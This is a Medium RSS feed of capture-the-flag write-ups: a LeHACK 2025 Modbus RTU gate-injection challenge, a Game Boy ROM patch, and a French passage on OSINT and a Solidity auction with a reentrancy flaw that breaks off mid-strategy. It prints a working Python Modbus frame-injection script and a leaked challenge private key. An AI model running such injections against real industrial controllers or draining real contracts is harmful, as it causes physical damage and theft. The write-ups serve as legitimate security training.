<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Les Pires Hat on Medium]]></title>
        <description><![CDATA[Stories by Les Pires Hat on Medium]]></description>
        <link>https://medium.com/@lespireshat?source=rss-2b402721a46e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NVlYjMPliA4PC5zQUI2tJA.png</url>
            <title>Stories by Les Pires Hat on Medium</title>
            <link>https://medium.com/@lespireshat?source=rss-2b402721a46e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 03:24:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lespireshat/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[LeHACK 2025 — Serial Gate]]></title>
            <link>https://lespireshat.medium.com/lehack-2025-serial-gate-7e5328639025?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e5328639025</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[electronics]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Sun, 29 Jun 2025 17:15:57 GMT</pubDate>
            <atom:updated>2025-07-03T14:20:18.741Z</atom:updated>
            <content:encoded><![CDATA[<h3>LeHACK 2025 — Serial Gate</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXuuFW5hx_pcJaIHIQvHkg.png" /></figure><p>🥷 Let’s step into the shoes of a red teamer for the duration of this challenge.</p><p>For this mission, our target is a company office located on a busy downtown street. The objective is to neutralize the automatic gate. To do so, you must prepare using only a single photo of the inside of the control box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8c2xp1GQmqU_v8sojoZ2TA.png" /><figcaption>Gate control setup</figcaption></figure><p>On this picture, I could identify :</p><ul><li>1️⃣ An SG90 servomotor (seems to represent the gate)</li><li>2️⃣ An Arduino board with Atmeg328 chip (seems to represent the gate controller)</li><li>3️⃣ A screen</li><li>4️⃣ A signal converter board, wired to UART pins of controller</li></ul><h3>Action plan</h3><p>My goal is to neutralize this gate controller, few options :</p><ul><li>Extract, reverse, modify and flash controller firmware (heavy work 🥵)</li><li>Smash everything with a huge hammer (not clearly forbidden in CTF rules, but I don’t have a hammer 🔨)</li><li>Intercept communications between boards and see if we can replay/hijack some messages ✅</li></ul><h3>First step: identifying standard</h3><p>The street is busy, the less time I spend on site, the better. So I need to be prepared, with as much information as possible, starting with the protocol in use.<br>After a quick look to the signal converter, these components, connectors and the context, it seems to be a TTL to RS485 adapter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2PlQhdJzwhtlMITp_Oisw.png" /><figcaption><a href="https://boutique.semageek.com/fr/1520-module-rs485-ttl-3007505562481.html">Source</a></figcaption></figure><h3>Second step: capture a signal sample</h3><p>To understand how the gate work, I need to catch a valid signal by plugging a logic analyser during gate operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3BeB5eEk-r2FgaHHUztcw.png" /></figure><p>And I got a capture with changing state 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jaTAMW66Iou0YrGTLlQjdg.png" /></figure><h3>Third step: decode signal</h3><p>As described in RS485 wiki page, the commonly used protocol on this standard is modbus.<br>Most of the time, modbus is either used for TCP/IP communication (doesn’t seem to be the case here), or for serial communication (RTU).</p><p>RTU (Remote Terminal Unit) is used over serial to communicate with slaves devices, which fits perfectly our use case.</p><p>As many async serial protocols, Modbus RTU uses 2 wires with opposite signals, and transmit data byte per byte with prefix and suffix :</p><ul><li>1 start bit</li><li>8 bit data, least significant bit sent first</li><li>1 bit parity (optional)</li><li>1 stop bit</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*sX3zHGhbto-s3lrYA93Wrw.jpeg" /><figcaption><a href="https://www.westermo.com/fr/news-and-events/news/2019-01-31-do-industrial-networks-continue-to-utilise-rs-232-and-rs-485">Source</a></figcaption></figure><p>If I compare my signal to Modbus RTU, I can retrieve these typical patterns with divergent start bits and convergent stop bits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lOAPocxTnA_0uBi80xXxPQ.png" /></figure><p>To check if this match my capture, I need to find the frequency. I use the same technique that I already used in my <a href="https://github.com/H4ckd4ddy/bypass-sentry-safe">previous article about Master lock and sentry safe cracking</a>.</p><p>Take the shortest constant state (bit), and measure duration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hq-E4faUMumNxXUn97tqCg.png" /></figure><p>105 uS for a bit, so 1 sec / 104,17 uS period ~= 9600 bps, a commonly used frequency.</p><p>A full period between pattern repetition (start bit) takes 1ms. Based on our frequency, 10 bits could fit in this period, so I think that there is no parity enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BwMZ4lSQM7UMxVC5X1qRSg.png" /></figure><p>Now I can setup the modbus decoder from the capture software, using the retrieved parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*vyPXgzIhH6gRfOtLV4uL0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*99qcGLvCwGBUqt4RXlwBtA.png" /></figure><p>And I got a clearly decoded signal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RE1cvPe2HLdBoQtYgOLGew.png" /><figcaption><a href="https://en.wikipedia.org/wiki/Modbus#Modbus_RTU">Modbus RTU Wikipedia page</a></figcaption></figure><p>According to Modbus specification and decoder, I can read the following information for the first signal :</p><ul><li>Device ID: 0x1</li><li>Function ID: 0x6 (write in a single register)</li><li>Register address: 0x0</li><li>Value to write: 0x3C (60)</li><li>CRC 16: 0x89DB (basic checksum to ensure integrity)</li></ul><p>Few seconds later in the capture, another signal :</p><ul><li>Device ID: 0x1</li><li>Function ID: 0x6 (write in a single register)</li><li>Register address: 0x0</li><li>Value to write: 0x14 (20)</li><li>CRC 16: 0x89C5 (basic checksum to ensure integrity)</li></ul><p>It seems to be the gate closing. So the data transmitted may represent the motor position (angle).</p><h3>Last step: injection</h3><p>Using all these information, I can craft a malicious packet and inject it in wires to destroy gate by requesting an impossible motor position.</p><p>All fields still untouched, except :</p><ul><li>Value = 150 (more than twice the usual opening position)</li><li>CRC = (must match the frame checksum)</li></ul><p>There is an USB to RS485 adapter at my disposal to perform the injection.</p><p>The adapter can be used with a script to carry out the operation. The program isn’t complex, but the fastest way to write it is by using an LLM to generate the script.</p><pre>import serial<br>import struct<br><br>def calc_crc(data):<br>    &quot;&quot;&quot;Calculate CRC16 Modbus&quot;&quot;&quot;<br>    crc = 0xFFFF<br>    for byte in data:<br>        crc ^= byte<br>        for _ in range(8):<br>            lsb = crc &amp; 0x0001<br>            crc &gt;&gt;= 1<br>            if lsb:<br>                crc ^= 0xA001<br>    return crc<br><br>def build_modbus_frame(slave_addr, function_code, register_addr, value):<br>    # Frame without CRC<br>    frame = bytearray()<br>    frame.append(slave_addr)<br>    frame.append(function_code)<br>    frame += struct.pack(&#39;&gt;H&#39;, register_addr)  # Register address (2 bytes)<br>    frame += struct.pack(&#39;&gt;H&#39;, value)          # Value to write (2 bytes)<br><br>    # Add CRC<br>    crc = calc_crc(frame)<br>    frame += struct.pack(&#39;&lt;H&#39;, crc)  # CRC on 2 bytes (LSB first)<br><br>    return frame<br><br># === CONFIGURATION ===<br>port = &#39;/dev/tty.wchusbserial10&#39;<br>slave_address = 1<br>function_code = 6       # Write Single Register<br>register_address = 0    # Register address<br>value_to_write = 150    # Value to write<br><br># Create the frame<br>frame = build_modbus_frame(slave_address, function_code, register_address, value_to_write)<br><br># Send via serial port<br>with serial.Serial(port, baudrate=9600, bytesize=8, parity=&#39;N&#39;, stopbits=1, timeout=1) as ser:<br>    ser.write(frame)<br>    response = ser.read(8)  # Wait for response (normally 8 bytes)<br><br>print(&quot;Frame sent:&quot;, frame.hex())<br>print(&quot;Response received:&quot;, response.hex())</pre><p>This code takes all the previously gathered values, puts it together, computes the CRC, and sends the complete payload.</p><p>I just have to plug 2 RS485 wires + GND, execute the script and the gate is broken !</p><p>I got the flag on the screen and the first blood on the scoreboard 🥇</p><pre>HZV{PhYc4l_4cC3ss_Fr0m_tHe_WiR3}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*qusNEE7bceTB7cr9eYhWtA.gif" /></figure><p>🙏 Thanks to <a href="https://www.linkedin.com/in/erwan-cordier/"><strong>Erwan Cordier</strong></a> for creating this well-thought-out challenge.<br>It was technically interesting and provided a solid scenario to explore real-world concepts.</p><p>The creator of this challenge has documented their journey in a great article, definitely worth a read if you’re interested in the behind-the-scenes.</p><p><a href="https://medium.com/@biero-llagas/making-a-rs485-themed-challenge-serial-gate-flipper-zero-modbus-rtu-shield-compatible-925dee9dcee1">Making a RS485 themed challenge: Serial Gate (Flipper Zero Modbus RTU shield compatible).</a></p><p><a href="https://etienne.sellan.fr/"><em>Etienne Sellan</em></a><em><br></em><a href="https://piresh.at/"><em>@LesPiresHat</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e5328639025" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LeHACK 2025 — z80 explorer]]></title>
            <link>https://lespireshat.medium.com/lehack-2025-z80-explorer-475424795a45?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/475424795a45</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[reverse]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[gameboy]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Sun, 29 Jun 2025 14:54:12 GMT</pubDate>
            <atom:updated>2025-06-29T21:25:26.610Z</atom:updated>
            <content:encoded><![CDATA[<h3>LeHACK 2025 — z80 explorer</h3><p>Time for a challenge full of nostalgic vibes, solved during the LeHACK 2025 wargame at La Cité des Sciences of Paris.</p><h3>Discovery</h3><p>We start without instruction, only a file is available, let’s check…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/240/1*oJJn-CcHyJV4gVQ2NSIsqA.png" /><figcaption>z80_explorer.gb</figcaption></figure><ul><li>.gb file extension</li><li>“z80” is a clear hint toward the CPU used in a famous pocket console.</li><li>mime retrieved from magic bytes</li></ul><pre>&gt; file z80_explorer.gb<br>z80_explorer.gb: Game Boy ROM image (Rev.00) [ROM ONLY], ROM: 256Kbit</pre><ul><li>outstanding file preview</li></ul><p>With all these clues, there’s no doubt about the origin of this file, this is a ROM dump from a GameBoy game.</p><h3>Shall we play a game ?</h3><p>Perhaps the simplest way to dig in this game is by playing it. Time to fire up an emulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvJfVgmaAGBlUm49wzQAKA.png" /><figcaption><a href="https://sameboy.github.io/">https://sameboy.github.io/</a></figcaption></figure><p>No errors, the game starts, but it only displays the LeHack skull. No movement or input response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*JKB1P4-kuEBuOXadRkAbMw.png" /><figcaption>Screenshot from “gameplay”</figcaption></figure><p>Some tools are available in the emulator, like the VRAM viewer that shows all graphical assets loaded in memory :</p><ul><li>Nintendo logo</li><li>tiles used to form the skull (some of them are not used)</li><li>alphabet glyphs</li><li>“LeHACK” (flag prefix)</li><li>“Gameboy80” text</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qDVhHfzCCM-TV-qrbPcltQ.png" /><figcaption>VRAM viewer</figcaption></figure><p>As most of these assets are not used in the game splash screen, it’s now sure that something inaccessible is hidden in this ROM.</p><h3>Disassembly</h3><p>To understand the logical flow behind this game, we need to extract instructions in a more human-readable format, like assembly or pseudocode.</p><p>Game Boys use a Sharp LR35902 processor, an 8-bits CPU, variant of the Zilog Z80 mentioned in the challenge name. There are probably Ghidra or IDA extensions for this architecture, but I’ll go with a dedicated open-source tool I found on GitHub to obtain low-level assembly code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EB9okKNRVwEHYs7RqdeC4w.jpeg" /><figcaption><a href="https://github.com/mattcurrie/mgbdis">https://github.com/mattcurrie/mgbdis</a></figcaption></figure><pre>&gt; python3 mgbdis.py ../z80_explorer.gb <br>Loading &quot;../z80_explorer.gb&quot;...<br>ROM MD5 hash: b5bc34dc02ce92e7a870b60c79d5ce5e<br>Generating labels...<br>Generating disassembly..<br>Disassembly generated in &quot;./mgbdis-master/disassembly&quot;</pre><p>5 files have been generated by the tool :</p><ul><li>A “Makefile”, used to recompile the game if needed.</li><li>“game.asm”, main code file, just used to include following files</li></ul><pre>INCLUDE &quot;hardware.inc&quot;<br>INCLUDE &quot;bank_000.asm&quot;<br>INCLUDE &quot;bank_001.asm&quot;</pre><ul><li>“hardware.inc”, assembly code generated by the tool to implement GB hardware (generic code).</li><li>“bank_000.asm”, the actual assembly code of the game</li><li>“bank_001.asm”, last part of the assembly code. As this is a tiny game, most of the ROM is filled with zeros, so this file is just full of “nop” instructions.</li></ul><pre>SECTION &quot;ROM Bank $001&quot;, ROMX[$4000], BANK[$1]<br><br>    nop<br>    nop<br>    nop<br>    nop<br>    nop<br>    ...</pre><h3>Dive into the code</h3><p>“bank_000.asm” contains more than 15k lines, but most of them are useless “nop” at the end. After removing them, ~2k lines remain, but don’t worry, I’m pretty sure that we don’t need to review that amount of code to solve this challenge.</p><p>There are a lot of headers and functions. I’m not familiar with gameboy program structure but <strong>Boot</strong> seems to be an interesting label to start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrCMC2uNXf9j64K64j5trg.png" /><figcaption>Boot function</figcaption></figure><p>It only contains an unconditional jump to function “150”, shown below, with a few comments describing my understanding of how it works, based on information I found online.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpQwunrH9ViHV50bsgKG-A.png" /><figcaption>Main function</figcaption></figure><p>The “01a4” function used at the end is a simple infinite loop, that could explain why nothing happens in the game after the splashscreen.<br>So the image must be displayed before, by function “172”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*3S_XHbbWzn-ZNSh0CFn0Dg.png" /><figcaption>Infinite loop</figcaption></figure><p>Even without a detailed review of function “172”, I could notice something strange: there is a return instruction in the middle of the function, that exit before the end. So all the code after this line could not be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CE5dr38DRZxDe5ietbsTiA.png" /><figcaption>Return issue in function</figcaption></figure><p>I will try to fix this to let this code run. For that, I just have to remove this “ret” instruction. As removing this instruction would shift all the others, I’ll simply replace it with a no-operation instruction, a “nop”.</p><p>Making this change in the assembly file would require recompiling the game to run the modified version, so I’ll directly edit the original ROM file instead. As the compiled file is composed of machine code, I need to open it in hexadecimal editor and find the instruction to replace.</p><p>According to instructions set, RET instruction = 0x90.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HyIqICnKefNJJMSFwceUzw.png" /><figcaption><a href="https://gbdev.io/gb-opcodes/optables/">https://gbdev.io/gb-opcodes/optables/</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FZh381x347yIv6CNSzd2Pw.png" /><figcaption>ROM file in hex editor</figcaption></figure><p>As the target instruction is the first “ret” of my assembly file, I replace the first occurrence of “c9” with “00” in this hex dump of the file (00 = nop).</p><p>I save the ROM file and open emulator…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*BnPexgJO8lONPdoh44UYbg.png" /></figure><p>It works, the execution continue after the splashscreen and a new page reveals the flag 🎉</p><pre>LeHACK{gameboyGBZ80}</pre><p>Big thanks to the minds behind this fun little challenge.</p><p><a href="https://etienne.sellan.fr/"><em>Etienne Sellan</em></a><em><br></em><a href="https://piresh.at/"><em>@LesPiresHat</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=475424795a45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Disparition inquiétante de notre drapeau …]]></title>
            <link>https://lespireshat.medium.com/disparition-inqui%C3%A9tante-de-notre-drapeau-76ff95052375?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/76ff95052375</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[les-pires-hat]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Tue, 26 Mar 2024 16:13:01 GMT</pubDate>
            <atom:updated>2024-03-26T18:55:33.699Z</atom:updated>
            <content:encoded><![CDATA[<h3>Disparition inquiétante de notre drapeau …</h3><p>Le mercredi 3 mai 2023, de bon matin, notre équipe a reçu une vidéo étrange.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F824371923%3Fh%3D377b256a68%26app_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F824371923&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F1666201155-304591ad260abe7b4d6d0ffec3cbfc30dd32a8fc83f74aa93caa484d9be21803-d_1280&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=vimeo" width="1920" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/be1979d2ef17672ce2b99cd838a8103b/href">https://medium.com/media/be1979d2ef17672ce2b99cd838a8103b/href</a></iframe><p>Face à ces menaces des plus sérieuses, <strong>nous avons décidé de mener l’enquête</strong> …</p><p>On commence par chercher à comprendre ce que nous dit cet énergumène dans la vidéo et ce qu’il nous veut. À l’aide de n’importe quel <a href="https://fr.wikipedia.org/wiki/Reconnaissance_optique_de_caract%C3%A8res">OCR</a>, on traduit les sous-titres en cyrillique :</p><p><em>On ne vous apprécie pas Les Pires Hat, regardez ce qu’on a là (en parlant du drapeau), on va vous faire morfler vous n’êtes pas prêts. Cyka Blyat !</em></p><p>Ce groupe a l’air de vouloir se cacher étant donné qu’ils ont des cagoules et <strong>ont flouté le lieu depuis lequel la vidéo a été tournée.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNpoBlzP7XvJb5dbGUvtww.png" /></figure><p>Cependant, en utilisant des outils de recherche d’<strong>image inversée</strong>, on retrouve très aisément ce refuge.</p><p><a href="https://yandex.com/images/">Yandex Images</a> arrive ici à le trouver rapidement contrairement à <a href="https://lens.google/intl/fr/">Google Lens</a> et <a href="https://www.bing.com/images/details/%7B0%7D">Bing Images</a> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ijs9IfbdxLFC6COOlLGDYQ.png" /></figure><p>On connaît maintenant le lieu des malfrats : le <strong>refuge de Pombie.</strong></p><p>À partir de là, il va falloir essayer de <strong>pivoter depuis ce lieu et voir où peut-il être référencé</strong>. Ces malfrats ont forcément fait des erreurs et laisser des traces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yBjE-1FxwjsqwXZnR0s7WA.png" /></figure><p>Après avoir épluché minutieusement les avis Google et n’y trouvant rien, on décide de se focaliser sur <a href="https://www.visorando.com/">Visorando</a>. Ce site y recense notamment toutes les randonnées qui font un passage par le refuge de Pombie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Ol0LKF4M6lGQJGoof6vKTQ.png" /></figure><p>En épluchant les commentaires de chacune des randonnées, <strong>l’une semble particulièrement ressortir</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*0xz2E_rWY8K0JnUfedDS7Q.png" /></figure><p>Le commentaire date de 3 jours précédant la réception de la fameuse vidéo, il a l’air énervé et le pseudo a en préfixe “<em>aleksander</em>” qui sonne russe.</p><p>En faisant quelques recherches sur <strong>aleksander1336 </strong>, on trouve rapidement un compte Twitter :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*U0doJ1oKUuNJ4Mjz-2DyQg.png" /><figcaption><a href="https://twitter.com/aleksander1336">https://twitter.com/aleksander1336</a></figcaption></figure><p>Environ 35 tweets sont disponibles sur ce compte, et on arrive rapidement à cerner que cette personne se nomme “<strong>Aleksander D</strong>” et qu’il est passionné de développement <a href="https://fr.wikipedia.org/wiki/Web3">web3</a> et de <a href="https://fr.wikipedia.org/wiki/Capture_du_drapeau">CTF</a>.</p><p>Mais ce n’est pas exactement dans les tweets que l’on trouve <strong>la clé qui nous permet d’avancer dans l’enquête</strong>, mais bien dans les <strong>réponses </strong>du compte.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*TDhrpJVsqij1LVR1u48hsw.png" /></figure><p>Cet Aleksander a l’air d’avoir un problème avec son compte Discord. Il mentionne le support Discord directement sur Twitter et donne dessus l’ID de son compte : <strong>1099260830928879646</strong></p><p>En faisant un rapide tour sur <a href="https://discord.id/">Lookup Discord ID</a>, on retrouve ainsi plus d’informations sur son compte Discord :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*-JqrtVV7FRfYyebmRiepzQ.png" /></figure><p>On récupère ainsi son pseudo : <strong>aleksanderduboich#8415</strong></p><p>Avec ce nouveau pseudo, on découvre alors son compte <strong>Github </strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bm_NUgFeDJljbUI-DzTCuA.png" /><figcaption><a href="https://github.com/AleksanderDuboich/">https://github.com/AleksanderDuboich/</a></figcaption></figure><p>Et plus particulièrement <strong>un de ses dépôts Github</strong> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*akqrk6L1nwcHM4GT3Gwsrg.png" /><figcaption><a href="https://github.com/AleksanderDuboich/flag-auction">https://github.com/AleksanderDuboich/flag-auction</a></figcaption></figure><p>On peut alors analyser ce dépôt et notamment le <strong>INFO.md</strong> qui indique le message suivant :</p><pre>dev address : 0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e<br><br>contract address : 0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab<br><br>chain id : 1337<br><br>node : http://e-corp.fr:35545<br><br>service web : http://e-corp.fr:3000</pre><p>Sur le service web on retrouve un message indiquant qu’une <strong>vente aux enchères est en cours</strong> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*wmUjTAhiZs3uWswsoPsr4w.jpeg" /></figure><p>De plus le réseau est accessible et nous avons sur le dépôt un exemplaire des sources du contrat utilisé pour cette enchère <strong>Auction.sol</strong> :</p><pre>// SPDX-License-Identifier: GPL-3.0<br>pragma solidity ^0.8.4;<br><br>contract Auction {<br>    address payable public beneficiary;<br>    uint public auctionEndTime;<br><br>    address public highestBidder;<br>    uint public highestBid;<br><br>    mapping(address =&gt; uint) public pendingReturns;<br><br>    bool public ended;<br><br>    event HighestBidIncreased(address bidder, uint amount);<br>    event AuctionEnded(address winner, uint amount);<br><br>    error AuctionAlreadyEnded();<br>    error BidNotHighEnough(uint highestBid);<br>    error NotEnoughEther();<br>    error AuctionNotYetEnded();<br>    error AuctionEndAlreadyCalled();<br><br>    constructor(uint biddingTime, address payable beneficiaryAddress) payable {<br>        beneficiary = beneficiaryAddress;<br>        auctionEndTime = block.timestamp + biddingTime;<br>    }<br><br>    function bid() external payable {<br>        if (block.timestamp &gt; auctionEndTime) revert AuctionAlreadyEnded();<br><br>        if (msg.value &lt;= highestBid) revert BidNotHighEnough(highestBid);<br><br>        if (highestBid != 0) {<br>            pendingReturns[highestBidder] += highestBid;<br>        }<br>        highestBidder = msg.sender;<br>        highestBid = msg.value;<br>        emit HighestBidIncreased(msg.sender, msg.value);<br>    }<br><br>    function emergencyEnd() external payable {<br>        if (ended) revert AuctionEndAlreadyCalled();<br><br>        if (msg.value &lt; 11000000 ether) revert NotEnoughEther();<br><br>        ended = true;<br>        emit AuctionEnded(highestBidder, highestBid);<br><br>        beneficiary.transfer(highestBid);<br>    }<br><br>    function withdraw() external {<br>        uint amount = pendingReturns[msg.sender];<br>        (bool success, ) = msg.sender.call{value: amount}(&quot;&quot;);<br>        if (success) {<br>            pendingReturns[msg.sender] = 0;<br>        }<br>    }<br><br>    function end() external {<br>        if (block.timestamp &lt; auctionEndTime) revert AuctionNotYetEnded();<br>        if (ended) revert AuctionEndAlreadyCalled();<br><br>        ended = true;<br>        emit AuctionEnded(highestBidder, highestBid);<br><br>        beneficiary.transfer(highestBid);<br>    }<br><br>    receive() external payable {}<br><br>    fallback() external payable {}<br>}</pre><p>C’est un contrat d’enchère très basique :</p><ul><li>L’enchère se termine normalement après le <strong>auctionEndTime</strong> avec la méthode <strong>end()</strong>, le gagnant est désigné et le montant de son enchère est transféré au bénéficiaire</li><li>Il est possible de placer une enchère avec la méthode <strong>bid()</strong></li><li>Il est possible de récupérer le montant de son enchère, s’il ne s’agit pas de la plus grosse</li><li>Une méthode <strong>emergencyEnd()</strong> permet de payer <strong>11 000 000</strong> <strong>ETH</strong> afin de stopper l’enchère immédiatement, <strong>le gagnant est toujours celui qui a placé la plus grosse enchère</strong></li></ul><p>Ce jeune développeur web3 semble déterminé à tirer <strong>un maximum de profit</strong> de notre drapeau…</p><p>De plus une communication vocale d’un <em>service de renseignement</em> nous indique qu’un enchérisseur est prêt à payer beaucoup pour obtenir ce drapeau : <strong>il placera une enchère de 11 000 000 ETH après la première enchère</strong>.</p><p>Le premier obstacle pour notre équipe est de trouver un moyen d’interagir avec le contrat d’enchère mais pour cela il faut un portefeuille avec quelques ETH.</p><p>Par chance, un commit dans l’historique du fichier <strong>INFO.md</strong> sur le dépôt révèle une erreur grossière de la part du développeur des enchères :</p><pre>dev address : 0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e<br>dev key : 0xb0057716d5917badaf911b193b12b910811c1497b5bada8d7711f758981c3773<br><br>contract address : 0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab<br><br>chain id : 1337<br>node : http://e-corp.fr:35545<br><br>service web : http://e-corp.fr:3000</pre><p>Sa <strong>clé privée</strong> a été envoyée sur le dépôt Github, on peut donc utiliser son portefeuille de développement afin d’interagir avec le contrat d’enchère.</p><p>On ajoute le réseau et le portefeuille sur <a href="https://metamask.io/">Metamask </a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*lC5--6WWdG7CMkaMvkKDjQ.jpeg" /></figure><p>Le portefeuille à notre disposition possède : <strong>10 000 000 ETH</strong></p><p>Le contrat d’enchère possède : <strong>27 000 000 ETH</strong></p><p>Le contrat nous indique que la fin de l’enchère a lieu trop loin dans le futur : <strong>il faudra trouver un moyen d’utiliser la méthode de fin anticipée.</strong></p><p>En analysant les sources du contrat, on remarque une vulnérabilité commune :</p><pre>function withdraw() external {<br>        uint amount = pendingReturns[msg.sender];<br>        (bool success, ) = msg.sender.call{value: amount}(&quot;&quot;);<br>        if (success) {<br>            pendingReturns[msg.sender] = 0;<br>        }<br>    }</pre><p>Cette fonction <strong>withdraw() </strong>permet de récupérer le montant de son enchère, si une surenchère a été placée par quelqu’un d’autre.</p><p>Cependant le montant à rembourser est réinitialisé <strong>seulement après</strong> la récupération et l’envoi au destinataire des fonds, <strong>sans mécanisme de verrou</strong> :</p><pre>function withdraw() external {<br>        uint amount = pendingReturns[msg.sender]; // retrieve the value<br>        (bool success, ) = msg.sender.call{value: amount}(&quot;&quot;); // send the value<br>        if (success) {<br>            pendingReturns[msg.sender] = 0; // set the value to 0<br>        }<br>    }</pre><p>Si le destinataire est un contrat qui réimplémente la méthode <strong>receive()</strong> qui permet de recevoir des fonds, alors il peut rappeler la méthode <strong>withdraw()</strong> afin de créer une boucle car le montant dans <strong>pendingReturns[msg.sender]</strong> n’est pas remis à zéro avant la <a href="https://hackernoon.com/hack-solidity-reentrancy-attack"><em>réentrée</em></a> dans la fonction <strong>withdraw()</strong>. <strong>On peut donc vider le contrat d’enchère.</strong></p><p>On parle alors d’<a href="https://hackernoon.com/hack-solidity-reentrancy-attack"><strong>attaque de réentrée</strong></a>.</p><p>Avec toutes les informations réunis :</p><ul><li>On a un portefeuille avec 10 000 000 ETH</li><li>Le contrat possède 27 000 000 ETH</li><li>Un enchérisseur va miser 11 000 000 ETH après la prochaine enchère</li><li>Le contrat de l’enchère est vulnérable à une <strong>attaque de réentrée</strong> sur la méthode<strong> withdraw()</strong></li><li>Avec assez d’ETH il est possible de placer la plus grosse enchère et de stopper l’enchère immédiatement avec la méthode <strong>emergencyEnd()</strong></li></ul><p>La stratégie d’exploitation est donc la suivante :</p><ul><li>Initialiser un contrat avec les méthodes pour <strong>placer une enchère et attendre la surenchère</strong></li><li><strong>Effectuer l’attaque de </strong><a href="https://coinacademy.fr/lexique/reentrancy-attack/"><strong>réentrée </strong></a>sur la méthode <strong>withdraw() </strong>jusqu’à avoir un montant suffisant et retirer les fonds vers notre 